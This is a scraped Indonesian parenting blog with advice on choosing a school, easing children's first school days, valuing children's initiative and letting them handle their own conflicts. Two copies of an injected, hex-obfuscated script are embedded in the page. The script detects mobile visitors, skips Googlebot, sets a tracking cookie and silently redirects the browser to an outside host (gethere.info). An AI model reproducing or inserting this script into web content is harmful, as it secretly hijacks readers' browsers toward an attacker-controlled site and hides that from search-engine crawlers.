<li>Memberikan kepercayaan yang penuh kepada sekolah tentang apa-apa yang diusahakan di dalam proses pendidikan putra-putri mereka</li>
<li>Menghindari sifat reaktif bila ada informasi/laporan dari anak dan orang lain</li>
<li>Menyelaraskan perlakuan terhadap anak antara di sekolah dan di rumah. Perlakuan yang tidak sama antara rumah dan sekolah dapat menjadikan anak mempunyai kepribadian ganda.</li>
<li>Orang tua hendaknya menjadi teladan bagi anak-anak, dengan mengajak mereka melakukan ibadah bersama-sama.</li>
<li>Meningkatkan kedekatan dengan anak, sehingga anak merasa bahwa orang tua bukan sekedar figur dan status, tetapi menjadi tempat bagi anak untuk bercerita, bertukar fikiran dan meminta pertimbangan.</li>
</ol>
&nbsp;

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Pendidikan Anak : Memulai Pendidikan Anak

Memilih Sekolah Anak
memilih sekolah, memilih sekolah anak, sekolah anak

Memilih Sekolah Anak – Saat kita hendak menjahitkan kain celana kepada salah seorang penjahit maka kita akan menimbang kualitas kain dengan kemampuan penjahitnya. Semakin baik kualitas kain tersebut, kita memilih penjahit yang lebih baik walaupun dengan harga yang tentunya lebih mahal. Begitu pula sebaliknya jika yang kita miliki adalah kain yang kurang baik.
Saat kita memasukkan anak kita ke sebuah sekolah, sebagaimana kita memilih seorang penjahit untuk kain kita. Tentunya kita tidak akan memilih penjahit yang biasa saja untuk buah hati kita yang luar biasa. Di sinilah perlunya kita memikirkan secara matang saat kita akan memilih sekolah bagi putra-putri kita.
Drs Masruri dalam majalah Al Falah telah menulis 10 langkah cara memilih sekolah yang sesuai dengan kita, yaitu:

  1. Tentukan visi keluarga terhadap anak, kemudian memilih sekolah yang dapat menjawab visi keluarga anda
  2. Memastikan sekolah yang dapat menjawab visi keluarga dengan berdialog langsung dengan kepala sekolah atau membaca brosur-brosur yang diterbitkan oleh sekolah tersebut
  3. Melibatkan anak di dalam pemilihan sekolah. Mereka perlu diajak untuk menentukan pilihan sekolah. Tentu dengan pengarahan sebelumnya tentang harapan kita terhadap masa depan mereka
  4. Melihat program sekolah, apakah program-program itu dapat mencapai visi sekolah yang diharapkan
  5. Mengetahui guru-guru di sekolah tersebut. Sekolah yang berkualitas selalu identik dengan guru-guru yang berkualitas juga
  6. Mencari informasi tentang lulusan sekolah. Output atau outcome sekolah adalah bukti paling nyata tentang kualitas suatu sekolah
  7. Mengamati fasilitas yang dimiliki oleh sekolah. Sekolah yang berkualitas tidak harus memiliki fasilitas yang mewah. Yang terpenting tidak membahayakan siswa, mempunyai fungsi yang optimal dan dalam kondisi yang bersih
  8. Mengamati school culture, sekolah yang memiliki budaya/kultur yang baik akan melahirkan sikap-sikap yang baik.
  9. Mengukur anggaran pendidikan anak, sekolah yang memiliki ciri-ciri di atas umumnya meminta biaya yang cukup tinggi. Sehingga orang tua harus selektif untuk memilih sekolah dengan kreteria paling banyak namun dengan biaya yang paling murah
  10. Jika tidak ada sekolah yang memenuhi kriteria kita, maka kita dapat memilih sekolah yang terbaik di antara yang rata-rata tadi dan menambah bagi anak materi-materi yang belum dimiliki oleh mereka dengan mengikutkan mereka pada beberapa kursus.

Hari-Hari Pertama Sekolah
Perasaan apakah yang muncul saat hendak bepergian ke suatu negara yang belum pernah kita kunjungi sebelumnya? Pasti akan muncul perasaan takut dan khawatir. Lalu kita akan mencari informasi kepada beberapa teman kita yang pernah mengunjungi negara tersebut tentang tata cara khas negara itu, adat istiadat, bahkan beberapa bahasa khas negara tersebut.
Demikian pula dengan anak-anak yang akan memulai masa pendidikan di Taman Kanak-Kanak atau bahkan di Sekolah Dasar. Mereka juga menghadapi perasaan yang sama, perasaan takut, khawatir dan cemas. Sebagian anak telah mempunyai keterampilan dan kemandirian untuk menghadapi perasaan-perasaan tersebut, namun sebagian yang lain belum mempunyai keterampilan itu. Sehingga kita sebagai orang tua perlu membantu mereka untuk menghadapi semua perasaan-perasaan tersebut.
Perasaan takut dan khawatir memasuki sekolah baru jika diungkapkan dalam kata-kata dapat berupa hal-hal berikut ini:

  1. Apakah aku aman dilingkungan sekolah ini?
  2. Apakah orang tuaku dapat menungguku di sekolah ini?
  3. Apakah guru-guruku akan menyenangiku?
  4. Apakah anak-anak lain di kelasku akan senang kepadaku?
  5. Apa yang dapat aku lakukan di sini?

Sebenarnya beberapa sekolah telah menawarkan program kunjungan kelas atau sekolah satu hari. Namun, banyak orang tua yang belum dapat memanfaatkannya. Anak-anak perlu mengetahui jawaban dari pertanyaan-pertanyaan di atas, dan mereka membutuhkan jawaban tersebut secara detail dan jujur

Prahari Pertama

Orang tua dapat membantu putra-putrinya untuk menghindarkan dari kecemasan ketika pertama kali menjejakkan kaki ke halaman sekolah, jika sebelumnya mereka melakukan beberapa hal berikut ini:

  1. Sejak jauh-jauh hari, katakan kepada si anak rencana kita memasukkannya ke sekolah. Ungkapkan bahwa sekolah itu tempat yang menyenangkan. Misalnya, ceritakan bahwa di sekolah nanti ia akan mendapatkan banyak teman dan bisa mengikuti berbagai macam permainan.
  2. Sejak dini usahakan anak mengenal lingkungan lain, di luar lingkungan keluarganya. Misalnya, dengan sering membawa si kecil bermain dengan anak-anak tetangga, atau membawanya pergi ke pesta atau pertemuan keluarga.
  3. Ajak anak bermain dengan menggunakan media boneka untuk mengisahkan betapa menyenangkannya pergi ke sekolah. Tanamkan pada pikirannya, di sekolah dia juga bisa belajar sambil bermain serta memungkinkan ia bertemu dan bermain dengan banyak teman. Sehingga baginya sekolah juga menyenangkan.
  4. Bila si kakak sudah bersekolah, sesekali ajaklah si adik mengantarkan kakaknya ke sekolah. Di sana, si kecil bisa melihat langsung kegiatan bersekolah, juga melihat bahwa untuk bersekolah itu seorang anak tak perlu ditunggui orang tua.
  5. Tak ada salahnya memasukkan si anak ke taman bermain, atau mengajaknya mencoba kelas-kelas percobaan yang ditawarkan beberapa taman bermain. Cara ini dapat membiasakan anak dengan suasana sekolah.
  6. Lakukan survei dan observasi terhadap sekolah yang akan dimasuki si anak (school shopping). Paling tidak setahun sebelum anak Anda masuk sekolah. Ajaklah dia untuk melihat-lihat sekolah ini.
  7. Pilihlah sekolah yang menurut Anda si kecil merasa paling nyaman. Lalu ajaklah ia mendaftar, sambil bermain dan berkenalan dengan guru-guru di sekolah tersebut. Sehingga, pada waktunya sekolah nanti, si kecil sudah mempunyai pandangan positif mengenai gurunya.
  8. Libatkan si kecil saat berbelanja berbagai keperluan sekolahnya, seperti tempat air minum, tas, atau peralatan menggambar. Cara ini bisa menumbuhkan antusiasme anak Anda untuk memulai sekolah.
  9. Perkenalkan jadwal harian baru kepada si kecil. Misalnya, anak Anda yang tadinya baru bangun tidur pukul 6 pagi, maka dengan bersekolah kini harus dibiasakan untuk bangun sekitar pukul 05.30. Perubahan jadwal harian ini jangan mendadak.

Ketegangan Hari Pertama
Akhirnya hari yang ditunggu-tunggu telah tiba. Meski ada perasaan takut dan khawatir melepas anak, sebaiknya jangan berbagi perasaan yang tidak mengenakkan ini dengan anak. Pasalnya, kecemasan itu bisa ‘menular’. Lebih baik mencoba beberapa kiat di bawah ini untuk mengusir kecemasan kita.

  1. Persiapkan dengan seksama baju dan makanan untuk dibawa si kecil. Tak ada salahnya, membiarkan anak membawa satu atau dua barang kesayangannya. Misalnya, boneka atau mobil-mobilan. Tetapi, jangan membiarkan ia membawa hampir seluruh mainan. Coba katakan, “Bawa mainan satu saja, ya, Sayang. Nanti bisa hilang, lho.”
  2. Buatlah suasana berangkat ke sekolah itu tidak tegang atau terburu-buru agar anak merasa mantap ke sekolah.
  3. Pada hari pertama bersekolah, tidak ada salahnya Anda atau suami ikut mengantar ke sekolah. Bersama anak, temui gurunya seolah-olah menyerahkan tanggung jawab sementara kepada sang guru. Anda bisa mengatakan, ”Bu, titip anak saya, ya. Tolong diberi pendidikan yang baik.” Kepada anak, katakan, ”Mama titip kamu sementara pada Bu Guru, ya.” Dengan cara ini, ketidakberadaan sang ibu tidak akan terlalu merisaukan si kecil, karena ada ‘ibu lain’ yang akan menjaganya.
  4. Pada hari pertama ke sekolah, mungkin Anda bisa menunggui si kecil hingga usai pulang sekolah. Tapi, jangan jadikan hal ini sebagai kebiasaan. Katakan kepada anak sejak dari rumah, bahwa Anda hanya menungguinya di sekolah untuk satu atau dua hari saja.
  5. Setelah satu atau dua hari, ketika anak mulai merasa nyaman di sekolah mulailah perlahan-lahan mengubah kebiasaan Anda. Sebelumnya Anda menunggui seharian, cobalah tidak menungguinya hingga sekolah usai. Tetapi, jika anak masih terlihat cemas, usahakan membuatnya tenang dengan cara menjanjikan akan menjemputnya tepat pada saat pulang sekolah. Atau, katakan bahwa Anda hanya pergi selama satu jam, karena harus berbelanja keperluan makan siangnya sepulang sekolah nanti.
  6. Kalau si kecil begitu ketakutan hingga memaksa Anda menemaninya di dalam kelas, boleh saja Anda turuti untuk beberapa hari. Selanjutnya, Anda harus meyakinkan si kecil bahwa sudah saatnya dia mandiri. Bila Anda menuruti kemauannya itu, bisa-bisa menimbulkan kecemburuan anak-anak lain yang sudah mulai berani bersekolah.
  7. Nah, bila si kecil sudah terlihat dapat ditinggal, tak ada salahnya Anda memantapkan hati untuk meninggalkan si kecil dalam pengasuhan gurunya, sampai sekolah bubar. Jangan lupa, berilah pujian atas keberaniannya ditinggal sendiri.
  8. Jangan memaksa anak untuk bercerita mengenai sekolahnya yang baru ketika pulang sekolah. Terkadang, hal ini justru membuatnya merasa tidak nyaman. Biarkanlah hingga ia bercerita sendiri.

Hal-Hal Yang Perlu Diantisipasi
Anak-anak sering mengalami ketakutan yang berlebihan, terutama bila berada di tempat yang baru, termasuk sekolah. Dan mereka membutuhkan masa adaptasi untuk meredakan ketakutan tersebut.
Menurut Ibu Ery Soekresno ada tiga hal yang perlu diantisipasi oleh pihak sekolah dan orang tua saat mengantarkan anak pada hari-hari pertama sekolah, yaitu:

  1. Mengajari anak untuk mengatasi ketakuan terhadap lingkungan baru
  2. Membimbing anak untuk mengatasi ketakutan terhadap perpisahan dengan orang tua
  3. Membimbing anak untuk dapat berinteraksi dengan guru dan teman-teman yang lain

Mengatasi Ketakutan Lingkungan Baru
Beberapa anak yang baru datang ke sekolah pada hari pertama mengalami ketakutan pada lingkungan baru sekolah. Ketakutan tersebut terekspresikan dengan cara yang berbeda-beda. Ada yang mengekspresikan dengan regresi tingkah laku, seperti mengisap jempol, mengompol, merengek-rengek, minta digendong, bahkan merangkak. Ada juga yang mengekspresikannya dengan marah dan menangis sambil berguling-guling.
Mengatasi regresi tingkah laku dan rasa marah dapat dilakukan dengan menerimanya sebagai salah satu usaha anak untuk mengatasi perubahan dalam hidupnya. Anggaplah ini sebagai sinyal bahwa anak membutuhkan rasa aman. Cobalah untuk bersabar sambil terus menerus menyampaikan gambaran positif tentang sekolah. Sebaiknya kita memberi komentar, “Mama tahu kurang nyaman dengan kondisi ini, mudah-mudahan kamu dapat mengatasinya dengan baik”.
Munculnya rasa takut anak karena ketidaktahuan terhadap beberapa fasilitas dan peraturan sekolah, seperti di mana ia harus buang air kecil dan besar, bagaimana caranya keluar dari kelas untuk ke kamar mandi, apakah saya boleh mengambil air minum sekarang dan lain-lain. Dengan menjawab apa-apa yang menjadi sumber ketakutan ini maka akan berkuranglah rasa takut itu sendiri.
Mengatasi Perpisahan
Ada beberapa tahapan yang akan membantu anak mengatasi perpisahan di hari pertama masuk sekolah, yaitu:

  1. Tenang, tampilkan perasaan senang. Tersenyum, dan berilah anak ucapan salam dengan percaya diri. Apapun respons anak, tetaplah untuk tersenyum. Jangan memunculkan wajah cemas dan perasaan ragu.
  2. Tidak meninggalkan anak diam-diam, jelaskan kepada anak bahwa anda akan meninggalkannya dengan ibu guru di sekolah. Dan katakan kapan anda akan menjemputnya kembali. Jika anak menangis, jangan kembali karena akan membuatnya menangis semakin kencang. Meninggalkan anak dengan diam-diam akan membuatnya merasa tidak dicintai dan diabaikan. Juga, memperlambat proses adaptasi, karena perhatian anak terfokus pada Anda. Sekali Anda melakukannya, dia akan mengawasi Anda terus, khawatir Anda meninggalkannya sewaktu-waktu.
  3. Biarkan anak menangis, karena rasanya tidak logis meminta anak berhenti menangis saat dia justru merasa nyaman dengan tangisannya. Menangis adalah cara anak untuk mengekspresikan perasaan takut dan khawatir.
  4. Kembalilah dengan senyum dan pujian. Ketika orang tua menjemput, anak yang tadinya tenang mungkin akan menangis. Dia akan berlari lalu memeluk orang tuanya. Kedua perilaku itu normal, yang terpenting adalah orang tua harus tersenyum ,tenang, ceria, dan memberikan pujian.

Membantu Anak berinteraksi dengan teman

Beberapa sekolah pada hari pertama tidak langsung memberi materi pelajaran kepada anak didik, akan tetapi memberikan kegiatan yang bersifat game-game untuk saling mengenal antara siswa dan guru serta siswa dengan siswa yang lain.
Orang tua sebenarnya juga dapat membantu sekolah untuk memfasilitasi terjadi interaksi putranya dengan teman-teman yang lain di sekolah.
Berkunjung ke rumah calon siswa pada sekolah yang sama akan sangat membantu anak di dalam berinteraksi dengan teman, karena anak lebih mudah untuk memulai berinteraksi dengan sedikit anak daripada dengan banyak anak.
Pada saat mengantarkan anak orang tua dapat bercakap-cakap dengan orang tua yang lain sambil mengenalkan putra-putrinya masing-masing. Dengan cara ini anak akan melihat dengan jelas bahwa orang tuanya dengan mudah dapat bergaul dengan yang lain.

 

Metode Pendidikan Anak : Beda Standar

<a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">Pendidikan Anak</a> – Hari Rabu adalah hari olah raga bagi siswa kelas I B SD Al Hikmah. Setiap anak sudah memakai seragam olah raga semenjak mereka berangkat dari rumah. Mereka juga diminta untuk membawa seragam kemeja putih dan celana merah untuk dipakai seusai kegiatan olah raga.
Rabu itu terasa waktu begitu cepat, seusai shalat shubuh semua anggota keluargaku telah disibukkan dengan kegiatan mereka masing-masing. Istriku berangkat belanja ke warung sebelah gang, anakku pertama Faqih telah sibuk menyiapkan bukunya dilanjutkan mandi pagi dan aku sendiri beserta anakku kedua sibuk membenahi tempat tidur dan menjaga si kecil yang baru berusia 6 bulan. Sejenak kemudian istriku telah datang dari belanjanya dan mulai sibuk memasak menghidangkan makanan untuk sarapan kami. Sulungku telah usai mandi dan mengambil seragam olah raganya.
Beberapa saat kemudian kami semua telah menghadap hidangan sarapan pagi dan menyantapnya bersama-sama. Dan tampaknya anakku Faqih adalah yang pertama menyelesaikan kegiatan makannya. Seusai membawa piring ke tempat pencucian ia menuju tas sekolahnya untuk dia amati sekali lagi. Rupanya ia ingat bahwa seragam merah putihnya belum masuk ke dalam tas sekolahnya. Melihat mamanya belum menyelesaikan makan, ia tiba-tiba mengambil seragamnya yang masih tergantung di hanger dalam lemari dan kemudian mencoba untuk melipatnya. Namun, inisiatif untuk membantu tiba-tiba terhenti ketika mamanya berbicara, sudah mas nanti mama saja yang melipat, nanti kalau kamu lipat malah tambah lungset semua seragammu itu.
Barangkali fenomena di atas sering terjadi pada keluarga kita, seorang anak yang ingin membantu ibunya untuk mencuci piring makannya, namun ditolak oleh ibunya karena standar kebersihan cucian tersebut tidak sesuai dengan keinginan orang tuanya.
Di sinilah muncul dua masalah, pertama, standar kebersihan yang harus diperhatikan dan merupakan prasyarat kesehatan rumah tangga dan ini menuruti perspektif ibu. Kedua, <a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">inisiatif anak</a> untuk membantu kedua orang tuanya dan ini menuruti perspektif anak. Pertanyaan yang muncul adalah perpektif siapa yang harus dihargai terlebih dahulu? Dan kita orang tua sebenarnya sepakat bahwa perspektif anaklah yang terlebih dahulu dihormati, sebagaimana kita sepakat bahwa orang tua yang harus memahami anak dan bukan sebaliknya anak yang dituntut untuk memahami orang tuanya terlebih dahulu.
<p style="text-align: left;"><a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/" target="_blank"><img class="aligncenter" style="border: 0px;" title="Pendidikan Anak" alt="Pendidikan Anak, Mendidik Anak, Orang Tua, Anak, OrangTua" src="http://i61.tinypic.com/2hq7x1v.jpg" width="400" height="364" border="0" /></a>
Dalam peristiwa keluarga di atas lebih cenderung ke perspektif ibu, di mana orang tua lebih mempertimbangkan standar kebersihan piring daripada inisiatif anak untuk membantu ibunya. Ada beberapa hal yang merugikan proses <a href="http://griyaparenting.com/blog/metode-pendidikan-anak-beda-standar/">pendidikan anak</a> atas ibu di atas, diantaranya:</p>

<ol>
<li>Anak merasakan bahwa inisiatifnya untuk membantu orang tua tidak diapresiasi oleh orang tuanya. Dan hilangnya inisiatif untuk membantu orang lain merupakan kerugian yang sangat besar dalam proses pendidikan anak.</li>
<li>Orang tua tidak mengakui kemampuan anak untuk mencuci piring dengan baik. Sikap ini akan membangun konsep diri yang negatif, bahwa mereka tidak mempunyai kemampuan yang bisa diterima orang lain</li>
<li>Akan muncul sikap apatis pada diri anak terhadap kesulitan-kesulitan yang dihadapi orang lain</li>
</ol>
Sebagai orang tua yang disibukkan dengan kegiatan-kegiatan rutin, sikap-sikap seperti di atas merupakan perilaku yang sangat wajar. Apalagi jumlah anak banyak yang harus ditangani serta waktu yang sangat sempit. Ada beberapa hal yang dapat dilakukan orang tua menghadapi inisiatif-inisiatif putranya ;
<ol>
<li>Memberikan dukungan dan penghargaan atas setiap inisiatif anak untuk membantu orang lain</li>
<li>Memaklumi bahwa hasil yang dilakukan anak tidak sebaik orang tuanya, namun inisiatif untuk membantu orang lain jauh lebih berharga daripada akibat-akibat yang ditimbulkan dari bantuan anak yang kurang baik</li>
<li>Membimbing anak untuk mencuci piring atau melipat pakaian dengan baik, sehingga standar orang tua tidak terlalu jauh dengan standar putra/putrinya</li>
</ol>
&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Mendidik Anak Mandiri : Ibuku Bodyguardku

Pernahkah kita melihat seorang ibu yang sangat menyanyangi putranya, kemudian ia sering membantu putranya tersebut dalam setiap permasalahan dengan temannya. Putranya pulang sekolah menangis karena konflik dengan temannya, kemudian ia menghampiri temannya lalu memusuhinya seperti seorang bodyguard yang selalu siap menjaga kliennya.

Seringkali putra-putri kita menghadapi permasalahan dengan teman-teman mereka, baik masalah pergaulan maupun masalah pinjam meminjam. Sebagai orang tua yang sangat menyanyangi mereka dan tidak rela mereka bersedih, seringkali kita terangsang untuk ikut campur urusan mereka dan ikut menyelesaikan permasalahan tersebut. Padahal tidak semua permasalahan anak membutuhkan bantuan orang tua. Bahkan anak sendiri seringkali justru kurang menyukai sikap orang tua yang selalu ikut campur.

Ada beberapa hal sebagai orang tua yang diperhatikan ketika menjumpai permasalahan anak dengan teman-temannya, diantaranya:

  1. Anak mempunyai permasalahan/konflik dengan temannya adalah suatu yang sangat wajar, bahkan permasalahan/konflik tersebut dapat menjadi sarana baginya untuk mengembangkan kedewasaan dan kemandiriannya
  2. Sikap orang tua yang sering ikut campur dalam setiap permasalahan anak justru akan membuatnya malu dan kurang mandiri
  3. Jika sebuah permasalahan tersebut cukup memberatkan anak untuk menyelesaikan, orang tua dapat menawarkan ide solusi kepada anak dan mengajarinya bagaimanan menghadapi temannya tanpa mengambil alih permasalahan tersebut dari pundak anak.

Beberapa anak mempunyai permasalahan tidak hanya dengan temannya tetapi bahkan dengan gurunya, baik berupa nilai yang diberikan guru tidak sesuai dengan persepsi anak dan orang tua, atau beberapa sikap guru tersebut tidak membuat anak nyaman belajar. Kemudian anak tersebut mengungkapkan perasaannya kepada orang tuanya

Kita sebagai orang tua jelas akan muncul perasaan gundah dan khawatir mendengarkan permasalahan tersebut. Kita khawatir permasalahan tersebut akan berdampak kepada motivasi anak di dalam belajar, atau muncul prasangka bahwa putranya akan kurang disenangi oleh guru tersebut. Rasa sayang kita yang besar kepada anak kadangkala membangunkan emosi kita untuk langsung menghadap guru tersebut di depan anak kita dan mempertanyakan tentang nilai tersebut dan sikapnya yang kurang disukai oleh anak kita.

Padahal ada beberapa sikap lebih bijak dan pemahaman yang lebih baik dari sikap di atas, yaitu:

  1. Mendengarkan dengan empatik tentang permasalahan anak dengan gurunya merupakan dukungan yang baik bagi anak
  2. Kita harus menimbang apakah permasalahan tersebut dapat diselesaikan sendiri oleh anak. Anak mempunyai keberanian untuk menanyakan nilai yang tidak sesuai dengan pemahamannya, atau sikap guru tersebut tidak terlalu menganggu anak.
